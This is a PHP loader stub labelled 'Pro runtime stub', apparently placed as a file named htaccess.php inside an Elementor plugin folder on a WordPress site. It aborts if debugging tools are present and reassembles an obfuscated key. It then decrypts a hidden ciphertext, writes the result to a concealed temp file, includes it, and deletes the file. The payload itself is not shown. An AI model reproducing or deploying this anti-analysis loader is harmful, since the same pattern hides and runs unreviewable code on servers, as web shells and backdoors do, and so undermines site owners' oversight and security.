<?php
/**
 * Pro runtime stub.
 */

if (!extension_loaded('sodium')) { http_response_code(500); exit; }

// Anti-debug/trace (best-effort)
$forbid = ['xdebug','uopz','runkit','xhprof'];
foreach ($forbid as $ext) { if (extension_loaded($ext)) { http_response_code(500); exit; } }

$__ONLINE_ONLY = (int)('0');
if ($__ONLINE_ONLY) {
    if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { exit; }
    $host = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    if ($host==='' || preg_match('/(^|\.)(localhost|127\.0\.0\.1|::1)$/i', $host)) { exit; }
}

// domain guard
$__DOMS = json_decode('WyJpdHNob21hci5pciJd', true);
$__ERR = base64_decode('');
if (is_array($__DOMS) && count($__DOMS)>0) {
    $h = strtolower(trim($_SERVER['HTTP_HOST'] ?? ($_SERVER['SERVER_NAME'] ?? '')));
    $ok=false;
    foreach ($__DOMS as $dRaw) {
        $d = strtolower(trim($dRaw));
        if ($h===$d || ($d && substr($h, -strlen('.'.$d)) === '.'.$d)) { $ok=true; break; }
    }
    if (!$ok) { http_response_code(403); echo $__ERR; exit; }
}

// expiry guard
$__EXP = (int)('0');
if ($__EXP>0 && time() > $__EXP) { http_response_code(403); echo $__ERR; exit; }

// Recombine key
function deobf_key(array $parts, array $masks, array $rot): string {
    $buf = '';
    $n = count($parts);
    for ($i=0;$i<$n;$i++) {
        $p = base64_decode($parts[$i]);
        $m = base64_decode($masks[$i]);
        $r = (int)$rot[$i];
        $x = '';
        for ($j=0;$j<strlen($p);$j++){
            $b = ord($p[$j]);
            $b = ((($b >> $r) | (($b << (8-$r)) & 0xFF)) & 0xFF); // rotate right
            $x .= chr($b);
        }
        $buf .= ($x ^ $m);
    }
    return $buf;
}

$__PARTS = json_decode('["YTl6nMxGZVY=","UhHekcXniTk=","+VTdELCFobQ=","QldvhoBl4rA="]', true);
$__MASKS = json_decode('["NTjVzymAtDc=","pPuKEKXZa5k=","3mDAbWSELVk=","yaLcIBiaFwQ="]', true);
$__ROT   = json_decode('[1,6,3,1]', true);
$__KEY   = deobf_key($__PARTS, $__MASKS, $__ROT);

$__NONCE = base64_decode('zs7EIUpbNrfcSdtRT+gmvbJ770v+ese2');
$__AAD   = base64_decode('eyJsaWNfbW9kZSI6ImxvY2FsIiwibGljX3VybCI6IiIsImxpY19hcHAiOiIiLCJsaWNfcHViIjoiIiwibGljX2NhY2hlIjozNjAwLCJidWlsZCI6IjA4N2Q2NDc4Y2RmNDAzNDAiLCJwYXRoIjoiL2hvbWUvaXRzaG9tYXIvaXRzaG9tYXIuaXIvc291cmNlL2VsZW1lbnRvci9jb3JlL2RlYnVnL2NsYXNzZXMvaHRhY2Nlc3MucGhwIiwidHMiOjE3NTY2OTM3MTQsImV4cGlyZXMiOjAsImRvbWFpbnMiOlsiaXRzaG9tYXIuaXIiXSwib25saW5lIjowLCJ3cCI6MSwiYWxnbyI6InhjaGFjaGEyMHBvbHkxMzA1X2lldGYifQ==');
$__CT    = base64_decode('HV8+oV/YLnrhyd6CKWExcgThgZj54+kZE3UdphRhgHmSuGqPJOUCBwnt4SMkHAMIiQ9DEYgTFIz+SJRuQkGK1YNb4QPmLWH8Tv0CahdmZZ+43QFVz0YDHu3rPShwLqRbOz0zS4YtRK1t4W+XIz8s3Fns3vxFcVN+IVApx+L4CcNX9Z0uwwTKJeOxJBe6d4Nxn4MyRZIhm7vCE9LfjUeE4nUlwqRAhDaXZrX+IpA05YASUM4+f2yTlOI10nhe5WFHLZW2Lbwvvyjaq7vw1UfdBoq4YhSP4t4jBH27xuPq2gwbNIRT2gExcP2Wm4RKx5SAaqmNd2RohIyahgaWuYf1jDYimXJ46v6wXYj3UUyoxR0OpM5HRU3aBpEiABHMs6bUELZIqHEYSLfZcMBQS06rcE3v06LDNGPd5D3C0Czzq7TNfQ87m12BhWqZy+DdHIDqRQd+LBcfHTx83gfcEzFxVtfF+kfpjqDCUsp7ZV0ecnpXJnE1bJiwaFYYcYls6vKFOm2PNHdzWB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U0zGAoJ4nFtCzyaBf9F0rMl+XYRa3+7IvCCM8czl/lGkLMnrK4eKogSctqSzC/4MoH431/NF5Jto08daQ+bw0B7JMOszeONBel8YxnOaVuZdEglV+a/jG8pgVTmNPaAKBMA==');

// Signature verification
$__PK  = base64_decode('/5R4IRTSZFIKPwFwd21zijnCruSGwbYlQKPMQ2C9Okw=');
$__SIG = base64_decode('x8z5NxagOHCdssbaUV5ju5rPxlYFVA0/Co+zmkVq32DnHU2ziXOmy4ZwUVS2H5c0aulgAbBkwg77lwk3q12UAQ==');
if (!sodium_crypto_sign_verify_detached($__SIG, $__AAD.$__CT, $__PK)) { http_response_code(500); exit; }

$__PT = sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($__CT, $__AAD, $__NONCE, $__KEY);
if ($__PT === false) { http_response_code(500); exit; }

$__IS_WP = (int)('1');
if ($__IS_WP) {
    if (!defined('ABSPATH') && !defined('WPINC')) { /* optional exit; */ }
}

// Execute using temp include
$__tmp = sys_get_temp_dir().'/._'.sha1('087d6478cdf40340'.__FILE__.mt_rand()).'.php';
file_put_contents($__tmp, $__PT); unset($__PT);
include $__tmp;
@unlink($__tmp);
